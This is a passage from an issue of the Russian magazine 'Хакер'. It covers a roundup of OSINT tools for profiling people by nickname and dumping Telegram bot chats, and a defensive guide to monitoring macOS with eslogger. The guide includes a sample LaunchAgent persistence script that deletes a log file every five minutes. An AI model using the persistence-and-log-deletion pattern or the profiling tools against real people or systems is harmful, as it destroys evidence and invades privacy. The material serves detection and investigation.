которые срабатывают и в клирнете.
ТРЮКИ

СОБИРАЕМ ИНСТРУМЕНТАРИЙ
СЕТЕВОГО РАЗВЕДЧИКА

OSINT, то есть разведка по открытым


источникам, бывает чрезвычайно полезна,
особенно при расследовании инцидентов.
Теорию — что и где искать — знают почти
все, но на практике массивы данных ока- Luc1fer_Lan1us
viktorkoen8@gmail.com
зываются настолько большими, что переб-
рать их руками просто невозможно, и рас-
следование останавливается. В этой статье
я покажу несколько крутых инструментов,
которые облегчат работу и помогут
не запутаться в огромном количестве дан-
ных.

Статья опубликована исключительно в образова-


тельных целях, а автор и редакция не несут
ответственности за любой возможный вред, при-
чиненный использованием материалов этой пуб-
ликации. Сбор информации о частной жизни
граждан без их согласия незаконен. OSINT —
это поиск в открытых источниках тех данных,
которые люди сами оставляют в публичном дос-
тупе. Но даже в этом случае нарушение чужой
приватности может быть незаконным.

В этой статье я покажу пять инструментов для анализа открытых данных в соц-
сетях и Telegram.

1. YASEEKER

YaSeeker позволяет получить информацию о любой учетной записи Yandex.


Нужно просто ввести никнейм пользователя, а скрипт сделает все сам.
Получается неплохой инструмент для поиска человека по никнейму, если ты
знаешь, что у него есть учетная запись Яндекса.
Устанавливать все утилиты из этого обзора я буду на Kali Linux, но в других
дистрибутивах семейств Debian и Ubuntu установка вряд ли будет отличаться.
Качаем YaSeeker с GitHub и ставим зависимости.

git clone https://github.com/HowToFind-bot/YaSeeker.git


cd YaSeeker
pip install -r requirements.txt

Установка YaSeeker

Поскольку Яндекс не очень любит отдавать данные кому попало (по крайней
мере официально), нужно подкинуть инструменту файлы cookies, чтобы тот
притворился реальным пользователем. Для этого можно зарегистрировать
любой одноразовый аккаунт Яндекса и установить расширение для загрузки
файлов cookies в формате Netscape.

Расширение cookies.txt доступно для Chrome


и Firefox. Но не обязательно использовать именно
его — просто поищи в магазине расширений «get
cookies txt».

С включенным расширением переходим на Яндекс и сохраняем cookies.txt


(если расширение спросит, для какого сайта сохранять кукисы, выбирай
Current Site). Удобнее всего будет сразу сохранить файл в каталог YaSeeker.
Назвать его нужно именно cookies.txt, потому что настроить путь к файлу
с куками нельзя.

Сохраняем cookies

Теперь, когда печеньки для работы есть, можем применять скрипт. Просто
запусти его через python3 и передай аргументом имя пользователя,
о котором хочешь узнать побольше.

Кто-то с ником login

Инструмент выводит информацию о сервисах Яндекса, которыми пользуется


владелец учетной записи. Для расследований в русскоязычном сегменте
интернета YaSeeker может очень пригодиться, и будет нелишним включить
его в свою коллекцию. Особенно если автоматизировать его запуск вместе
с подобными инструментами из одного скрипта.

2. ENOLA HOLMES

Enola — это аналог куда более широко известного инструмента Sherlock.


Авторы утилиты гордо назвали ее в честь сестры Шерлока — Энолы Холмс.
Этот вариант написан на Go и работает несколько быстрее.
Enola умеет искать пользователей по никам на чуть менее чем 400 сер-
висах и имеет куда более приятный интерфейс, чем Sherlock.
Установка доступна в двух вариантах: простом и для любителей языка Go.
Я себя отношу ко вторым, поэтому позволю себе чуть более длинный путь.
Сначала нужно клонировать репозиторий:

git clone https://github.com/TheYahya/enola.git

Затем переходим в директорию enola/cmd/enola и собираем бинарник


командой go build.
Появится исполняемый файл enola, который можно запустить: ./enola.

Альтернативный способ установки тоже требует наличия Go (версии


не ниже 1.19), но делается всего в одну команду:

go install github.com/theyahya/enola/cmd/enola@latest

Теперь можно запустить Enola и посмотреть, как она справится с поиском


случайного ника из какого-то чата.

Результаты поиска

Как видишь, пользоваться легко, а подсказки по всем хоткеям доступны


на нижней панели. Еще из преимуществ — запускается просто, очень быстро,
а результаты выводятся мгновенно.

3. TELEGRAM-BOT-DUMPER

Этот инструмент весьма пригодится, когда в твоих руках оказался токен бота
в Telegram, — например если ты расследуешь заражение каким-то вредоно-
сом, который управлялся как Telegram-бот. Скрипт достанет переписки всех
пользователей с ботом, включая не только текстовые сообщения, но и все
медиафайлы. Так что Telegram-bot-dumper — не только инструмент OSINT,
но и просто полезная в жизни штуковина.
Для работы потребуется получить API_ID и API_HASH приложения
для Telegram, поэтому желательно создать левый аккаунт — осторожность
не бывает лишней. Ты же не хочешь, чтобы в случае чего в бан полетел твой
личный акк?
Инструмент скачиваем и устанавливаем, как любое Python-приложение:
клонируем репозиторий, переходим в его каталог и ставим зависимости.

git clone https://github.com/soxoj/telegram-bot-dumper


cd telegram-bot-dumper
pip install -r requirements.txt

Перед запуском нужно открыть файл dumper.py любым редактором


и поменять переменные API_ID и API_HASH на свои.

Установка Telegram-bot-dumper

Запускаем:

python3 dumper.py --token <токен>

Скрипт скачает всю историю, до какой сможет дотянуться, и останется слу-


шать новые сообщения. Чтобы остановить его, достаточно нажать Ctrl-C.

История скачалась

К сожалению, инструмент не умеет сам определять, когда пользователь уда-


лил часть сообщений, и может сдампить не всю историю. Чтобы это испра-
вить, используй параметр --lookahead N, где N — количество пачек
по 200 сообщений (по умолчанию), которые инструмент попробует сдампить
дополнительно. Обрати внимание, что удаленные сообщения таким образом
достать все равно не получится, но есть шанс получить более ранние.
Скрипт полезен как минимум для того, чтобы оценивать масштаб бедствия
(объем украденных при атаке данных), а в случаях атак с управлением через
Telegram-бота — еще и восстановить хронологию.

Продолжение статьи →
ТРЮКИ ← НАЧАЛО СТАТЬИ

СОБИРАЕМ ИНСТРУМЕНТАРИЙ СЕТЕВОГО


РАЗВЕДЧИКА

4. SOCID-EXTRACTOR

Socid-extractor позволяет выгружать информацию о профиле из многих сер-


висов, которые поддерживает Enola, но делает это с уровнем подробностей
как у YaSeeker. Отображается много деталей, а не просто факт регистрации
пользователя в каком-то сервисе.
Важный момент: API самих сервисов обычно не используются, поэтому
объем информации, конечно, поменьше, чем мог бы быть, зато сам скрипт
работает очень быстро и не требует утомительной настройки с получением
API-ключей от сотен сервисов.
Socid-extractor имеет смысл запускать в связке с другими подобными инс-
трументами — вроде того же YaSeeker.
Устанавливается Socid-extractor все так же:

git clone https://github.com/soxoj/socid-extractor


cd socid-extractor
pip install -r requirements.txt

Теперь мы можем просмотреть информацию об интересующем нас человеке.


Для примера можно взять «Вконтакте».

Инструмент вывел фамилию, имя, дату регистрации и последнего обновле-


ния, информацию о том, активен ли аккаунт и является ли он приватным.
Для первого подхода к сбору данных вполне достаточно.

5. TELANALYSIS

На сладкое у меня есть интересный инструмент для анализа чатов в Telegram.


Если точнее, TelAnalysis анализирует файл истории чата и выполняет все дей-
ствия без участия API и приложения Telegram, как это обычно бывает в скрип-
тах, которые работают с данными Telegram.

Читай также: «Парсим телегу. Как собирать имена


участников чатов в Telegram

TelAnalysis выполняет в основном статический анализ чата: создает список


и граф самых активных участников, выводит топ самых частых слов в чате
и облако тегов (картинку, где слова записаны разным размером в зависимос-
ти от популярности). Также он умеет выводить общую информацию о каждом
пользователе. Дополнительно можно сгенерировать топ слов каждого
отдельного пользователя, чтобы понять, кто чем интересуется.
Выглядит интерфейс этого замечательного инструмента немного не так,
как у всех предыдущих: в консоли у него обитает только сам сервер, а вза-
имодействие с пользователем устроено через браузер.
Ставим TelAnalysis традиционным способом и запускаем файл main.py:

git clone https://github.com/krakodjaba/TelAnalysis.git


cd TelAnalysis
pip install -r requirements.txt
python3 main.py

Консольный интерфейс крайне минималистичный

В консоль скрипт выплюнет только ссылку на панель управления. Если перей-


ти по ней, в браузере откроется минималистичный интерфейс. Достаточно
загрузить в него JSON-дамп чата, который ты хочешь проанализировать.

Веб-интерфейс тоже не перегружен

Создать сам JSON-дамп крайне просто: заходишь в официальный клиент


Telegram, находишь интересующий тебя чат, жмешь троеточие в правом вер-
хнем углу и выбираешь «Экспорт истории». В настройках экспорта (на скрин-
шоте ниже) выбираешь формат JSON и путь для сохранения. Экспортировать
файлы, картинки и твои любимые голосовые не нужно — TelAnalysis принима-
ет только текст, так что на остальное ты только зря потратишь время.

Настройки экспорта

Теперь сохраняем экспортированный файл в удобном месте и загружаем его


в панель.
Список пользователей показывает, кто и сколько написал в группе, а еще
содержит ID, чтобы можно было отслеживать сообщения одного и того же
человека, даже если он поменяет ник.

Количество сообщений каждого участника группы

Граф выглядит не супер, но связи между пользователями видны.

Граф связей между пользователями

Сгенерируем теперь облако тегов. Тоже выглядит не очень, в первую очередь


потому, что служебные слова не удалены. Впрочем, это легко исправить. Если
соберешься, не забудь отправить автору пул-реквест.

Облако тегов

Последняя функция — показ сообщений по ID пользователя. Лично я пока


не нашел этому применения, ведь в Telegram есть более удобный поиск
по отправителю.

ÂÛÂÎÄÛ

Рассмотренные сегодня инструменты, конечно, не единственные в своем


роде, и возможно, что ты знаешь тулзы еще лучше и полезнее. В таком случае
не стесняйся закинуть ссылочку нам на почту (контакты — ниже) или пиши
в комментариях. Любой фидбэк будет ценным, а там, глядишь, насобираем
еще на один выпуск такой подборки.
АДМИН

ОТСЛЕЖИВАЕМ СИСТЕМНЫЕ
СОБЫТИЯ В MACOS

Можно бесконечно наблюдать за тремя


вещами: горящим огнем, текущей водой
и событиями в операционной системе.
И если в Windows средства мониторинга
и журналирования уже хорошо изучены Михаил Онищенко
tofolt@icloud.com
пользователями и системными админис-
траторами, то в macOS с этим не все так
просто. Сегодня мы поговорим о бесплат-
ных инструментах отслеживания событий
в «маке» и их практическом применении.

Как мы привыкли к событиям Windows… С ними все понятно, в сети доступно


огромное количество материалов о настройке централизованного сбора
событий с использованием Windows Event Forwarding. Многие гайды пред-
лагают пошаговые инструкции с ответами на вопросы из серии «Сколько WEC
(Windows Event Collector) нужно для парка в 4000 машин?».
Однако крайне мало внимания уделяется компьютерам на базе macOS.
Причины очевидны: немногие организации сейчас готовы закупать «маки»
для своих сотрудников. Это дорого, непонятно, как эти машины администри-
ровать, возникает ворох проблем с совместимостью. Кроме того, на рынке
доступно не так много специалистов, которые знают, как обуздать эту опе-
рационную систему и как обезопасить ее, ведь для macOS также существуют
угрозы. Однако решение проблемы с мониторингом есть, и оно уже встроено
в систему, начиная с версии 10.15 Catalina.

ÑÏÎÑÎÁÛ ÌÎÍÈÒÎÐÈÍÃÀ

Всего существует три способа мониторинга событий в macOS:


1. Коммерческий EDR.
2. Osquery.
3. Eslogger (ESF).

О последнем мы и поговорим, попытавшись разобраться, как устроен этот


инструмент.

Ранее для мониторинга событий в macOS исполь-


зовалась подсистема аудита OpenBSM. Она была
разработана компанией McAfee Research
по индивидуальному заказу Apple в 2004 году.
Позднее исходный код передали в TrustedBSD
для нужд комьюнити. Этот инструмент был убран
из macOS в версии Big Sur и больше не под-
держивается.

Endpoint Security Framework (ESF) — это нативный компонент macOS, который


служит для проактивного поиска событий и реагирования на них. Инструмент
позволяет подписываться на события Notication и Authorization. Принцип его
работы можно сравнить с Event Tracing For Windows (ETW). Он позволяет
просматривать низкоуровневые события, связанные с процессами, файлами,
немного с сетью и памятью, а также много чего еще!

ÊÀÊ ÝÒÎ ÐÀÁÎÒÀÅÒ?

Раньше, если какая-то компания бралась за разработку решения Endpoint


Security, ей приходилось делать так называемое Kernel Extension (модуль
для ядра). Примерами таких решений служат OpenBSM, Kauth KPI, MAC
Framework. Решения на базе Kernel Extension было тяжело разрабатывать
и поддерживать. Незначительные баги могли привести к kernel panic,
а несовершенный код пробивал новые дырки в безопасности macOS.
В Apple это прекрасно понимали и поэтому в 2019 году (лучше поздно, чем
никогда) заменили Kernel Extensions, которые работали в пространстве ядра,
System Extensions, которые работают в пользовательском пространстве.
Теперь у разработчиков развязаны руки. Все стало гораздо удобнее.

Хотя Kernel Extensions уже устарели, они все


еще могут использоваться в современных
macOS — но с оговоркой, что профиль безопас-
ности системы должен быть сильно снижен.
Добиться этого бывает очень сложно, и обычно
это делается исключительно в целях разработки.
Если производители не заменят кексты сис-
темными расширениями, они могут поставить
под угрозу безопасность систем своих клиентов.

Àêòóàëüíàÿ ñõåìà ðàáîòû Endpoint Security


Существует два типа событий: Notification и Authorization. Они оба пре-
доставляют одинаковую информацию, но между ними все же есть разница.
• Notification — этот тип нужен для информирования об активности. При-
мер: запуск бинаря.
• Authorization — этот тип нужен для блокирования активности. Пример:
при наступлении события ядро стучится в System Extension антивирусного
ПО для проверки, можно ли запускать процесс. Если ответа нет, то про-
цесс прибивается на месте, так и не запустившись в пользовательском
пространстве.

Схема работы Endpoint Security

Существует огромное количество событий, на которые можно подписаться,


чтобы получать информацию о том, что происходит в системе в реальном
времени.
На сайте для разработчиков Apple есть полный список событий с описани-
ем, какую информацию содержит каждое из них.

RED CANARY MAC MONITOR

Одна из немногих компаний, которая занимается в том числе и безопас-


ностью macOS, — Red Canary. В мае 2023 года она выпустила утилиту
под названием Mac Monitor. Эта программа отлично подойдет для демонс-
трации того, как вообще выглядят события ESF и как с ними можно работать.
Также она будет очень полезна тем, кто проводит live response в системе.
В настройках можно установить фильтры и подписки на конкретные типы
событий.

Mac Monitor

Так выглядит событие запуска команды curl после парсинга.

Тут мы можем увидеть события, которые относятся к главному событию.

А вот процесс-инициализатор.

Событие запуска команды curl в сыром виде.

Загрузить утилиту можно по ссылке с GitHub.

Òîëüêî äëÿ live response


Для реализации полноценного мониторинга Red Canary Mac Monitor нам
не подойдет по следующим причинам:
1. Это приложение придется раскатывать по всем системам.
2. Хакер может легко прибить этот процесс.
3. Его, как приложение, проблематично замаскировать и поставить в бэкгра-
унд.
4. Утилита собирает далеко не все типы событий и многое упускает из виду.

Следующий инструмент — хорошая бесплатная альтернатива вендорскому


EDR. Скажу по секрету, коммерческие EDR под капотом поголовно исполь-
зуют ESF.

ÍÓ È ÊÀÊ ÆÅ ÌÎÍÈÒÎÐÈÒÜ?

Перейдем к нативным средствам. Утилиты вроде Red Canary Mac Monitor


используют Endpoint Security API и делают упор на визуализацию и красоту.
Решение, которое мы запряжем в наш SOC, ориентируется на нативность,
полноту и безопасность.
Это eslogger, утилита командной строки, она предоставляет прямой доступ
непосредственно к генерируемым ядром событиям и поставляется со всеми
версиями macOS выше Ventura. Этакий поисковик среди событий.
Плюсы eslogger:
• уже есть на каждой macOS Ventura;
• не грузит систему при использовании;
• выдает лог в текстовом формате, а не бинарном;
• дает отличную видимость активности.

Сначала мы посмотрим список событий, на которые можно подписаться:

sudo eslogger --list-events

Эта команда выведет нам внушительный список. Приведу примеры:

Íàçâàíèå Ïîëíîå íàçâàíèå Ôóíêöèè

create es_event_create_t Создание файла

open es_event_open_t Открытие файла

write es_event_write_t Запись в файл

unlink es_event_unlink_t Удаление файла

Изменение параметров
utimes es_event_utimes_t access time
и modication time файла

exec es_event_exec_t Запуск процесса

es_event_uipc_connect
uipc_connect Подключение через сокет
_t

kextload es_event_kextload_t Загрузка Kernel Extension

Создание нового
btm_launch_item_a
btm_launch_item_add объекта входа (Launch
dd
Item)

ÏÐÀÊÒÈÊÀ

Переведем наши упражнения в практическую плоскость и применим их


для решения конкретной задачи. В директории Logs лежит файл xakep.ru-
2023.log. Туда записываются чрезвычайно важные данные.
На компьютер Mac попал надоедливый вредоносный скрипт, который про-
писался как задача в /Library/LaunchAgents/ и постоянно, каждые пять
минут, удаляет лог, который лежит в директории Logs. Надоел уже!
Файл задачи с расширением .plist выглядит так:

<?xml version="1.0" encoding="UTF-8"?>


<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.
apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.hacker.annoying.task</string>
<key>ProgramArguments</key>
<array>
<string>/bin/sh</string>
<string>/Users/tofolt/Downloads/DeleteLogFile.sh</string>
</array>
<key>StartInterval</key>
<integer>300</integer>
</dict>
</plist>

А сам скрипт так:

rm -f "/Users/tofolt/Logs/xakep.ru-2023.log"

Чтобы отловить этот скрипт, нам понадобится следующая команда eslogger:

sudo eslogger exec open unlink btm_launch_item_add >> result.json

Предположим, что у нас уже писались логи в момент заражения. Нам не сос-
тавит труда найти событие добавления скрипта в автозапуск. Большая часть
события была отброшена, оставлены только главные строки. В оригинальных
событиях много информативных полей, в том числе и очень полезных для свя-
зывания событий друг с другом (btm_launch_item_add):

{
"event": {
"btm_launch_item_add": {
"executable_path": "/bin/sh",
"instigator": {
"signing_id": "com.apple.xpc.smd",
"ppid": 1,
"tty": null,
"start_time": "2023-07-09T10:17:55.546995Z",
},
"item": {
"item_url": "file:///Library/LaunchAgents/com.hacker.
annoying.task.plist",
}
}
},
"time": "2023-07-09T14:08:03.326637707Z",
}

Далее мы найдем момент запуска скрипта (exec):

{
"event": {
"exec": {
"script": {
"path": "/Users/tofolt/Downloads/DeleteLogFile.sh",
},
"executable": {
"path": "/bin/sh",
},
"start_time": "2023-07-09T14:33:56.804354Z",
"is_platform_binary": true,
"group_id": 22017,
"audit_token": {
"asid": 100005,
"pidversion": 49567,
"ruid": 503,
"euid": 503,
"rgid": 20,
"auid": 503,
"egid": 20,
"pid": 22017
},
},
"args": [
"/bin/sh",
"/Users/tofolt/Downloads/DeleteLogFile.sh"
],
},
"time": "2023-07-09T14:33:56.814464013Z",
"action": {
"result": {
"result": {
"auth": 0
},
"result_type": 0
}
}

Финальный аккорд. Событие удаления файла xakep.ru-2023.log (unlink).

{
"event": {
"unlink": {
"target": {
"path": "/Users/tofolt/Logs/xakep.ru-2023.log",
},
"parent_dir": {
"path": "/Users/tofolt/Logs",
}
}
},
"time": "2023-07-09T14:34:57.713064962Z",
"executable": {
"path": "/bin/rm",
},
"ppid": 22069,
},
"start_time": "2023-07-09T14:34:57.704093Z",
}

В общем, при наличии логов отыскать требуемое событие и получить све-


дения о нем довольно просто.

KILL THEM ALL

Как обезопаситься от того, что хакер просто прибьет процесс eslogger


командой kill?
Например, можно создать новую учетку на компьютере и назвать ее с ниж-
ним подчеркиванием _brew, добавить привилегии, чтобы обычный поль-
зователь не мог прибить процессы, запущенные от ее имени. Ожидается, что
хакер, когда захочет узнать всех пользователей в системе, отфильтрует
вывод, убирая записи с нижними подчеркиваниями, потому что так называ-
ются системные учетки для внутреннего функционирования системы. А даже
если он выведет все учетные записи, _brew замаскируется под пакетный
менеджер, который стоит почти на каждом «маке» программиста. Таким
образом мы и защитимся от команды kill.
Ну или второй вариант — назвать _ftp_server. Это объяснит столь
высокие системные полномочия у учетки.

ÈÑÏÎËÜÇÎÂÀÍÈÅ Â ÈÍÔÐÀÑÒÐÓÊÒÓÐÅ

Как все это разворачивать?


Конкретную пошаговую инструкцию выдать не получится просто потому,
что у всех разные инфраструктуры и очень по-разному администрируются
«маки», но подкинуть пару идей я могу.
1. У тебя наверняка есть ПО для управления Mac по типу Jamf Pro. Ты
можешь создать запланированную задачу, запускающую скрипт пересыл-
ки данных из файла собранных логов.
2. Если у тебя есть какой-то агент на компьютерах, то проверь, не может ли
он собирать дополнительно и файл логов.
3. Обязательно нужно настроить ротацию файла с логом, чтобы после
пересылки, например, в SIEM, он чистился, иначе он может довольно быс-
тро вырасти до существенных размеров.

В eslogger может возникнуть проблема бутылочного горлышка, если под-


писать инструмент на слишком большое количество событий. Все они просто
не будут успевать сохраняться в журнал. В интернете описывают эту проб-
лему и рассказывают, как ее лечить.
Какова нагрузка на систему? Незначительная. Однако EPS может быть
большим, если должным образом не настроить фильтрацию событий.
Напоминаю, что решение бесплатное и всех удобств «из коробки»
не гарантирует. Фильтрация тут обязательна.

ÍÎÐÌÀËÈÇÀÖÈß È ÔÈËÜÒÐÀÖÈß

Сразу уточню, что предложенный ниже вариант лишь вариация на тему «как
это можно делать». Итак, для нормализации будем использовать инструмент
под названием fx. Для фильтрации возьмем другой инструмент — jq.
Приведем JSON в нормальный вид с помощью скрипта на Python 3:

import sys
out: str = "["
lines = sys.stdin.readlines()
for index, line in enumerate(lines):
if index == len(lines)-1:
out += "{}".format(line)
else:
out += "{}{}".format(line, ",")
out += "]"
print(out)

Наполненный логами файл мы прогоним через наш нормализатор:

cat eslogger_output.json | ./normalizer.py | fx . > better_eslogger_


output.json

Нормализованный файл теперь необходимо отфильтровать. Я, например,


исключу все события, связанные с процессом Finder:

cat better_eslogger_output.json | jq '[.[] | select(.process.


signing_id == "com.apple.finder" )]' > eslogger_final.json

Подскажу пути, которые можно (точно так же, как и Finder) исключить из зах-
вата через eslogger, чтобы не создавать мусор. Многие из путей могут
показаться важными для мониторинга. Однако в 2015 году Apple добавила
механизм System Integrity Protection (SIP), а позже, в 2019-м, разделила диск
на защищенный и незащищенный разделы. SIP предохраняет системные кри-
тически важные директории от вмешательства, и поэтому злоумышленник
не сможет ничего изменить в них, если только ты не отключил SIP вручную.
Поэтому и мониторить их не нужно. Найти список путей для исключения мож-
но в моем репозитории.

ÂÛÂÎÄÛ

Мы рассмотрели работу ESF, узнали о решениях, которые дают доступ к низ-


коуровневым событиям в системе, а также об особенностях работы с ними.
Хоть утилита eslogger и классная, но она не лишена недостатков. Приходится
применять заплатки, чтобы это заработало в масштабах SOC, но зато
eslogger не требует денег и не уступает в 90% случаев коммерческим EDR-
решениям (видимость сетевых подключений там, конечно, гораздо лучше).
«Хакеру» нужны новые авторы, и ты можешь стать одним
из них! Если тебе интересно то, о чем мы пишем, и есть
желание исследовать эти темы вместе с нами, то не упусти
возможность вступить в ряды наших авторов и получать
за это все, что им причитается.

• Àâòîðû ïîëó÷àþò äåíåæíîå âîçíàãðàæäåíèå. Размер зависит


от сложности и уникальности темы и объема проделанной работы (но
не от объема текста).
• Íàøè àâòîðû ÷èòàþò «Õàêåð» áåñïëàòíî: каждая опубликованная
статья приносит месяц подписки и значительно увеличивает личную скид-
ку. Уже после третьего раза подписка станет бесплатной навсегда.

Кроме того, íàëè÷èå ïóáëèêàöèé — ýòî îòëè÷íûé ñïîñîá ïîêàçàòü


ðàáîòîäàòåëþ è êîëëåãàì, ÷òî òû â òåìå. А еще мы планируем запуск
англоязычной версии, так что ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà
ðóáåæîì.
И конечно, ìû âñåãäà óêàçûâàåì â ñòàòüÿõ èìÿ èëè ïñåâäîíèì
àâòîðà. На сайте ты можешь сам заполнить характеристику, поставить фото,
написать что-то о себе, добавить ссылку на сайт и профили в соцсетях. Или,
наоборот, не делать этого в целях конспирации.

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ


ÑÒÀÒÜÞ?
Главное в нашем деле — знания по теме, а не корочки журналиста. Знаешь
тему — значит, и написать сможешь. Не умеешь — поможем, будешь сом-
неваться — поддержим, накосячишь — отредактируем. Не зря у нас работает
столько редакторов! Они не только правят буквы, но и помогают с темами
и форматом и «причесывают» авторский текст, если в этом есть необ-
ходимость. И конечно, перед публикацией мы согласуем с автором все прав-
ки и вносим новые, если нужно.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?


Темы для статей — дело непростое, но и не такое сложное, как может
показаться. Стоит начать, и ты наверняка будешь придумывать темы одну
за другой!
Первым делом задай себе несколько простых вопросов:
• «Ðàçáèðàþñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèíòåðåñîâàòü äðóãèõ?»
Частый случай: люди делают что-то потрясающее, но считают свое
занятие вполне обыденным. Если твоя мама и девушка не хотят слушать
про реверс малвари, сборку ядра Linux, проектирование микропроцес-
соров или хранение данных в ДНК, это не значит, что у тебя не найдется
благодарных читателей.
• «Áûëè ëè ó ìåíÿ â ïîñëåäíåå âðåìÿ èíòåðåñíûå ïðîåêòû?» Если
ты ресерчишь, багхантишь, решаешь crackme или задачки на CTF, если ты
разрабатываешь что-то необычное или даже просто настроил себе
какую-то удобную штуковину, обязательно расскажи нам! Мы вместе при-
думаем, как лучше подать твои наработки.
• «Çíàþ ëè ÿ êàêóþ‑òî èñòîðèþ, êîòîðàÿ êàæåòñÿ ìíå êðóòîé?»
Попробуй вспомнить: если ты буквально недавно рассказывал кому-то
о чем-то очень важном или захватывающем (и связанным с ИБ или ИТ), то
с немалой вероятностью это может быть неплохой темой для статьи.
Или как минимум натолкнет тебя на тему.
• «Íå ïîäìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñòèëè ÷òî‑òî âàæíîå?» Если
мы о чем-то не писали, это могло быть не умышленно. Возможно, просто
никому не пришла в голову эта тема или не было человека, который
взял бы ее на себя. Кстати, даже если писать сам ты не собираешься, под-
кинуть нам идею все равно можно.

Óãîâîðèëè, êàêîâ ïëàí äåéñòâèé?


1. Придумываешь актуальную тему или несколько.
2. Описываешь эту тему так, чтобы было понятно, что будет в статье и зачем
ее кому-то читать. Обычно достаточно рабочего заголовка и нескольких
предложений (pro tip: их потом можно пустить на введение).
3. Выбираешь редактора и отправляешь ему свои темы (можно главреду —
он разберется). Заодно неплохо бывает представиться и написать пару
слов о себе.
4. С редактором согласуете детали и сроки сдачи черновика. Также он выда-
ет тебе правила оформления и отвечает на все интересующие вопросы.
5. Пишешь статью в срок и отправляешь ее. Если возникают какие-то проб-
лемы, сомнения или просто задержки, ты знаешь, к кому обращаться.
6. Редактор читает статью, принимает ее или возвращает с просьбой
доработать и руководством к действию.
7. Перед публикацией получаешь версию с правками и обсуждаешь их
с редактором (или просто даешь добро).
8. Дожидаешься выхода статьи и поступления вознаграждения.

Если хочешь публиковаться в «Хакере», придумай тему для первой статьи


и предложи редакции.
№7 (292)
Андрей Письменный Валентин Холмогоров Илья Русанен
Главный редактор Ведущий редактор Разработка
pismenny@glc.ru valentin@holmogorov.ru rusanen@glc.ru
Евгения Шарипова
Литературный редактор

MEGANEWS
Мария Нефёдова
nefedova@glc.ru

АРТ
yambuto
yambuto@gmail.com

КОНСУЛЬТАЦИОННЫЙ СОВЕТ
Иван Андреев, Олег Афонин,
Марк Бруцкий-Стем-
пковский, Алексей Глазков,
Nik Zerof, Юрий Язев

РЕКЛАМА
Анна Яковлева
Директор по спецпроектам
yakovleva.a@glc.ru

РАСПРОСТРАНЕНИЕ И ПОДПИСКА
Вопросы о подписке: Вопросы о материалах:
lapina@glc.ru support@glc.ru

Адрес редакции: 125080, город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Издатель: ИП
Югай Александр Олегович, 400046, Волгоградская область, г. Волгоград, ул. Дружбы народов, д. 54. Учредитель: ООО «Медиа Кар» 125080,
город Москва, Волоколамское шоссе, дом 1, строение 1, этаж 8, помещение IX, комната 54, офис 7. Зарегистрировано в Федеральной службе
по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзоре), свидетельство Эл № ФС77-67001 от 30.
08.2016 года. Мнение редакции не обязательно совпадает с мнением авторов. Все материалы в номере предоставляются как информация
к размышлению. Лица, использующие данную информацию в противозаконных целях, могут быть привлечены к ответственности. Редакция
не несет ответственности за содержание рекламных объявлений в номере. По вопросам лицензирования и получения прав на использование
редакционных материалов журнала обращайтесь по адресу: xakep@glc.ru. © Журнал «Хакер», РФ, 2022

Вам также может понравиться